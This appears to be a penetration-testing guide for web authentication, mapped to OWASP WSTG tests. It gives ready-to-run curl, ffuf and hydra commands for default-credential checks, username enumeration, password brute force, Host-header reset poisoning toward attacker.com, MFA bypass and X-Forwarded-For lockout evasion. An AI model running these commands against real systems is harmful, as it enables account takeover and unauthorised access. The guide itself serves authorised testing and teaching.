Authentication Testing
WSTG-AUTHN-01 through WSTG-AUTHN-10
Goalβ
Authentication is the boundary between anonymous and authenticated access. Weaknesses here give you an identity in the application - either an existing user's, or a privileged account's. Test every aspect of how the application authenticates: login, registration, password reset, and lockout behavior.
Default Credentialsβ
Before anything else - try default credentials. This takes 30 seconds and succeeds more often than it should.
Common defaults by application type:
| Application | Default Username | Default Password |
|---|---|---|
| Apache Tomcat Manager | tomcat | tomcat |
| Apache Tomcat Manager | admin | admin |
| phpMyAdmin | root | (blank) |
| WordPress | admin | admin / password |
| Joomla | admin | admin |
| Drupal | admin | admin |
| Jenkins | admin | (from install log) |
| Grafana | admin | admin |
| Kibana | elastic | (from setup) |
| Router/appliance admin | admin | admin / password / 1234 |
SecLists contains comprehensive default credential lists:
ls /usr/share/seclists/Passwords/Default-Credentials/
Username Enumerationβ
Many applications reveal whether a username exists through different behavior on login failure - different error messages, different response times, or different response sizes.
Manual enumerationβ
# Test with a known-invalid username
curl -si -X POST http://target.com/login \
-d "username=doesnotexist999&password=wrongpassword"
# Test with a likely-valid username (admin, root, etc.)
curl -si -X POST http://target.com/login \
-d "username=admin&password=wrongpassword"
# Compare: response body, response size, response time
What to look for:
- Different error messages:
"User not found"vs."Incorrect password"- confirms username validity - Different response sizes between valid/invalid users
- Time-based differences: hashing a valid password takes longer than rejecting an unknown username
Automated enumeration with ffufβ
# Fuzz usernames with a wordlist - filter by response size
ffuf -u http://target.com/login -X POST \
-d "username=FUZZ&password=invalidpassword" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Usernames/Names/names.txt \
-fs <INVALID_RESPONSE_SIZE>
# With JSON body
ffuf -u http://target.com/api/login -X POST \
-d '{"username":"FUZZ","password":"invalidpassword"}' \
-H "Content-Type: application/json" \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-fs <INVALID_RESPONSE_SIZE>
Useful username wordlists:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt # Quick check
/usr/share/seclists/Usernames/Names/names.txt # Common names
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt # Comprehensive
Brute Forceβ
Only proceed with brute force after confirming:
- No account lockout (or lockout only after many attempts)
- No CAPTCHA (or bypassable CAPTCHA)
- Valid usernames have been identified
Account lockout is a real risk. Test lockout behavior with a throwaway or test account before brute forcing real accounts. Send a handful of failed attempts and observe if the response changes. If lockout is present, brute force will cause damage to real accounts and alert the defenders.
hydra - HTTP form brute forceβ
# POST form brute force (most common)
# Syntax: http-post-form "PATH:POST_DATA:FAILURE_STRING"
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
# With a username list
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Login failed"
# HTTPS
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-s 443 -S target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Incorrect"
# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
http-get://target.com/admin/
# With cookies (authenticated area brute force)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/admin/login:user=^USER^&pass=^PASS^:F=Wrong:H=Cookie: session=abc123"
# Throttle to avoid lockout
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/login:u=^USER^&p=^PASS^:F=failed" \
-t 4 -w 30
The failure string (F=) or success string (S=) is critical - hydra uses it to detect success vs. failure. Use a string that is only present in failed responses (or only in successful ones). Test your failure string manually first with curl.
ffuf - HTTP form brute forceβ
ffuf is more flexible than hydra for complex forms (CSRF tokens, dynamic fields):
# Basic password brute force (known username)
ffuf -u http://target.com/login -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-fr "Invalid password"
# Filter by response code instead of string
ffuf -u http://target.com/login -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
-mc 302
Password Reset Flow Testingβ
Password reset mechanisms are frequently vulnerable and often receive less security attention than the main login.
What to test:
# 1. Initiate a reset for a valid account and inspect the reset link
# - Is the token in the URL? What does it look like? Is it guessable?
# - How long is it valid? Can you request multiple tokens?
# 2. Host header injection - force the reset link to your server
curl -si -X POST http://target.com/forgot-password \
-H "Host: attacker.com" \
-d "email=victim@target.com"
# If the app generates the reset URL using the Host header, the link goes to attacker.com
# 3. Try a used/expired token - does the app invalidate it after use?
# 4. Try changing the email parameter to an attacker-controlled address
curl -si -X POST http://target.com/forgot-password \
-d "email=victim@target.com&email=attacker@evil.com"
# 5. Test the reset token for predictability:
# - Generate two reset tokens back to back - are they sequential or similar?
# - Short tokens (6-8 char alphanumeric) may be brute-forceable
Multi-Factor Authentication Bypassβ
MFA is not always as airtight as it appears.
Response manipulation:
# Submit MFA verification request - intercept response
# If the response is {"success": false, "redirect": "/dashboard"}
# Try changing "false" to "true" - some apps act on the client response value
curl -si -X POST http://target.com/verify-mfa \
-d "code=000000&session=abc123"
# Check if a 302 redirect to /dashboard occurs regardless of correct code
Backup codes:
- Backup codes are often generated once and stored. Test if they can be reused after being consumed, or if they have weaker entropy.
Null/empty code:
# Try submitting with an empty or null MFA value
curl -si -X POST http://target.com/verify-mfa \
-d "code=&session=abc123"
curl -si -X POST http://target.com/verify-mfa \
-d "code=null&session=abc123"
Direct endpoint access:
- After passing username/password but before MFA, try accessing a protected endpoint directly without completing MFA.
Rate Limiting and Lockout Detectionβ
# Rapid-fire login attempts - does response change?
for i in {1..10}; do
curl -si -X POST http://target.com/login \
-d "username=admin&password=wrongpass$i" | grep -E "HTTP/|Location:|locked"
done
# Check for Retry-After or X-RateLimit headers
curl -si -X POST http://target.com/login \
-d "username=admin&password=wrong" | grep -iE "retry|ratelimit|limit"
Lockout bypass techniques:
- Rotate between multiple usernames (only testing a few passwords each)
- Distribute attempts across IP addresses (
X-Forwarded-Forheader spoofing if accepted) - Insert valid credential attempts between invalid ones to reset counters
- Use
X-Forwarded-For: 127.0.0.1if the app uses IP-based lockout and trusts this header
# Test if X-Forwarded-For is trusted for IP-based rate limiting
curl -si -X POST http://target.com/login \
-H "X-Forwarded-For: 1.2.3.4" \
-d "username=admin&password=wrong"
Registration Testingβ
# Test for duplicate username enumeration
curl -si -X POST http://target.com/register \
-d "username=admin&password=Test123&email=test@evil.com"
# Does it say "username already exists"? Confirms admin username validity.
# Test for mass assignment - add unexpected privilege fields
curl -si -X POST http://target.com/register \
-d "username=test&password=Test123&role=admin&is_admin=true"
# Test for email confirmation bypass
# Register, then try accessing the application before confirming email